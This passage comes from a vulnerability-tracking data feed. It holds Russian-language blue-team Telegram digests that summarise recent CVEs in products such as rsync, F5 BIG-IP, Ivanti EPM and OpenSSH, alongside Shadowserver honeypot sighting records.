\u2014 Veritas \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Alta Recovery Vault, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0430\u043d\u043d\u044b\u043c, \u043c\u0435\u043d\u044f\u0442\u044c \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u044b\u0435 \u043a\u043e\u043f\u0438\u0438. \u0421\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c \u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442\u0435 .NET.\n\n\ud83d\udd35CVE-2025\u201327636 \u2014 PoC \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Apache Camel. \u0421\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432 Camel, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-04T13:00:06.664763Z"}, {"uuid": "642e575c-0837-464e-9912-864c48f6bf79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://t.me/purp_sec/316", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2024-49035 \u0438 CVE-2023-34192 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Microsoft Partner Center \u0438 Synacor Zimbra Collaboration Suite (ZCS). \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a \u043d\u0438\u043c \u0432\u044b\u0448\u043b\u0438 \u0432 2024 \u0438 2023 \u0433\u043e\u0434\u0430\u0445 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, CISA \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u043b\u0430 \u0438\u0445 \u043a\u0430\u043a \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0435.\n\n\ud83d\udd35CVE-2025-20029 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 F5 BIG-IP, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0430\u044f iControl REST API \u0438 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443 BIG-IP TMOS (tmsh). \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c \u0443\u0440\u043e\u0432\u043d\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c\u0438 \u0444\u0430\u0439\u043b\u0430\u043c\u0438.\n\n\ud83d\udd35CVE-2025-20111 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0430\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u0434\u0435\u043b\u0435\u0439 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u043e\u0432 Nexus \u043e\u0442 Cisco. \u0421\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u0442\u043e\u0439 CVE, \u0437\u0430\u043a\u0438\u0434\u0430\u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 Ethernet-\u0444\u0440\u0435\u0439\u043c\u0430\u043c\u0438 \u043d\u0430 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0438. \u0412 \u0438\u0442\u043e\u0433\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u0441\u044f \u0432 \u0440\u0435\u0431\u0443\u0442.\n\n\ud83d\udd35CVE-2024-12084 \u2014 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u043a\u0443\u0447\u0438 (heap-based buffer overflow) \u0432 \u0434\u0435\u043c\u043e\u043d\u0435 rsync. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c 48 \u0431\u0430\u0439\u0442\u043e\u0432 \u0437\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0431\u0443\u0444\u0435\u0440\u0430 sum2 \u0432 \u0441\u043e\u0441\u0435\u0434\u043d\u044e\u044e \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u0438, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430. \u0415\u0441\u043b\u0438 \u0430\u0442\u0430\u043a\u0443\u0435\u043c\u044b\u0439 \u043c\u043e\u0434\u0443\u043b\u044c rsync \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0433\u0443\u0442 \u0438 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-04T13:00:09.770060Z"}, {"uuid": "7d691f8b-f144-40c0-9065-981a31870d29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-07)", "content": "", "creation_timestamp": "2026-05-07T00:00:00.000000Z"}, {"uuid": "25083163-9d30-4062-80ae-c7db4d5bb0b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1247", "type": "seen", "source": "Telegram/lHKFDBRntVLEnzL4VqEuPiY-Vt8pAa9hTd9KwEhxy_XdixQ", "content": "", "creation_timestamp": "2026-08-29T23:00:12.543257Z"}, {"uuid": "e0bd54db-3841-4a26-a15a-98a35f615183", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-07)", "content": "", "creation_timestamp": "2026-05-07T00:00:00.000000Z"}, {"uuid": "516568e1-bad0-4a5d-bef1-f951503bb367", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-08)", "content": "", "creation_timestamp": "2026-05-08T00:00:00.000000Z"}, {"uuid": "8e5cb258-2dfa-4c9b-9ba5-b8678e54760e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-08)", "content": "", "creation_timestamp": "2026-05-08T00:00:00.000000Z"}, {"uuid": "7e98d067-fee5-49a5-b2a7-8c6901e1059e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://t.me/purp_sec/294", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2024-10811, CVE-2024-13161, CVE-2024-13160, CVE-2024-13159 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 Ivanti \u0432 \u0445\u043e\u0434\u0435 \u0430\u0443\u0434\u0438\u0442\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u043c\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 Ivanti EPM \u0434\u043b\u044f \u0440\u0435\u0442\u0440\u0430\u043d\u0441\u043b\u044f\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u0437\u043b\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\ud83d\udd35CVE-2024-12510 \u0438 CVE-2024-12511 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u041c\u0424\u0423 Xerox VersaLink, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e pass-back \u0430\u0442\u0430\u043a, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 LDAP \u0438 SMB/FTP.\n\n\ud83d\udd35CVE-2025-26465 \u0438 CVE-2025-26466 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 OpenSSH, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c MITM-\u0430\u0442\u0430\u043a\u0438 \u043f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0439 \u043e\u043f\u0446\u0438\u0438 VerifyHostKeyDNS \u0438 Dos-\u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u044d\u0442\u0430\u043f\u0435 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\ud83d\udd35CVE-2025-0999 \u0438 CVE-2025-1426 \u2014 \u0432 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 Google Stable Channel \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0434\u0432\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u041f\u0435\u0440\u0432\u0430\u044f \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 heap-buffer-overflow \u0432 V8, JavaScript-\u0434\u0432\u0438\u0436\u043a\u0435 \u043e\u0442 Chrome, \u0432\u0442\u043e\u0440\u0430\u044f \u2014 \u0441 heap-buffer-overflo \u0432 GPU.\n\n\ud83d\udd35CVE-2024-12284 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 NetScaler Console, \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0449\u0430\u044f \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0435 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u0431\u0435\u0437 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\ud83d\udd35CVE-2022-0778 \u0438 CVE-2025-0867 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043b\u0438\u043d\u0435\u0439\u043a\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0434\u0430\u0442\u0447\u0438\u043a\u043e\u0432 MEAC300 \u043e\u0442 SICK. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438 \u0438\u043b\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-04T13:00:10.829874Z"}, {"uuid": "3f594963-4af0-4d02-8440-56fa85f0fafc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://t.me/purp_sec/294", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2024-10811, CVE-2024-13161, CVE-2024-13160, CVE-2024-13159 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 Ivanti \u0432 \u0445\u043e\u0434\u0435 \u0430\u0443\u0434\u0438\u0442\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u043c\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 Ivanti EPM \u0434\u043b\u044f \u0440\u0435\u0442\u0440\u0430\u043d\u0441\u043b\u044f\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u0437\u043b\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\ud83d\udd35CVE-2024-12510 \u0438 CVE-2024-12511 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u041c\u0424\u0423 Xerox VersaLink, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e pass-back \u0430\u0442\u0430\u043a, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 LDAP \u0438 SMB/FTP.\n\n\ud83d\udd35CVE-2025-26465 \u0438 CVE-2025-26466 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 OpenSSH, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c MITM-\u0430\u0442\u0430\u043a\u0438 \u043f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0439 \u043e\u043f\u0446\u0438\u0438 VerifyHostKeyDNS \u0438 Dos-\u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u044d\u0442\u0430\u043f\u0435 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\ud83d\udd35CVE-2025-0999 \u0438 CVE-2025-1426 \u2014 \u0432 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 Google Stable Channel \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0434\u0432\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u041f\u0435\u0440\u0432\u0430\u044f \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 heap-buffer-overflow \u0432 V8, JavaScript-\u0434\u0432\u0438\u0436\u043a\u0435 \u043e\u0442 Chrome, \u0432\u0442\u043e\u0440\u0430\u044f \u2014 \u0441 heap-buffer-overflo \u0432 GPU.\n\n\ud83d\udd35CVE-2024-12284 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 NetScaler Console, \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0449\u0430\u044f \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0435 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u0431\u0435\u0437 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\ud83d\udd35CVE-2022-0778 \u0438 CVE-2025-0867 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043b\u0438\u043d\u0435\u0439\u043a\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0434\u0430\u0442\u0447\u0438\u043a\u043e\u0432 MEAC300 \u043e\u0442 SICK. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438 \u0438\u043b\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-04T13:00:10.885886Z"}, {"uuid": "f6db51b1-2e4c-41c4-9b17-411de63147e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-09)", "content": "", "creation_timestamp": "2026-05-09T00:00:00.000000Z"}, {"uuid": "acb34701-8c14-42da-b16b-43249a47d0ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-09)", "content": "", "creation_timestamp": "2026-05-09T00:00:00.000000Z"}, {"uuid": "c2b04c0f-65f1-4b1e-8edf-5e09736502fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12562", "type": "seen", "source": "https://t.me/purp_sec/285", "content": "\u0414\u0430\u0432\u043d\u043e \u043d\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u043f\u043e\u0434\u0431\u043e\u0440\u043a\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041d\u043e \u044d\u0442\u043e \u0431\u044b\u043b\u043e \u043b\u0438\u0448\u044c \u0437\u0430\u0442\u0438\u0448\u044c\u0435 \u043f\u0435\u0440\u0435\u0434 \u0431\u0443\u0440\u0435\u0439, \u043d\u0435 \u0441\u0442\u043e\u0438\u0442 \u0440\u0430\u0441\u0441\u043b\u0430\u0431\u043b\u044f\u0442\u044c\u0441\u044f.\n\n\u0412\u043e\u0442 \u0432\u0430\u043c 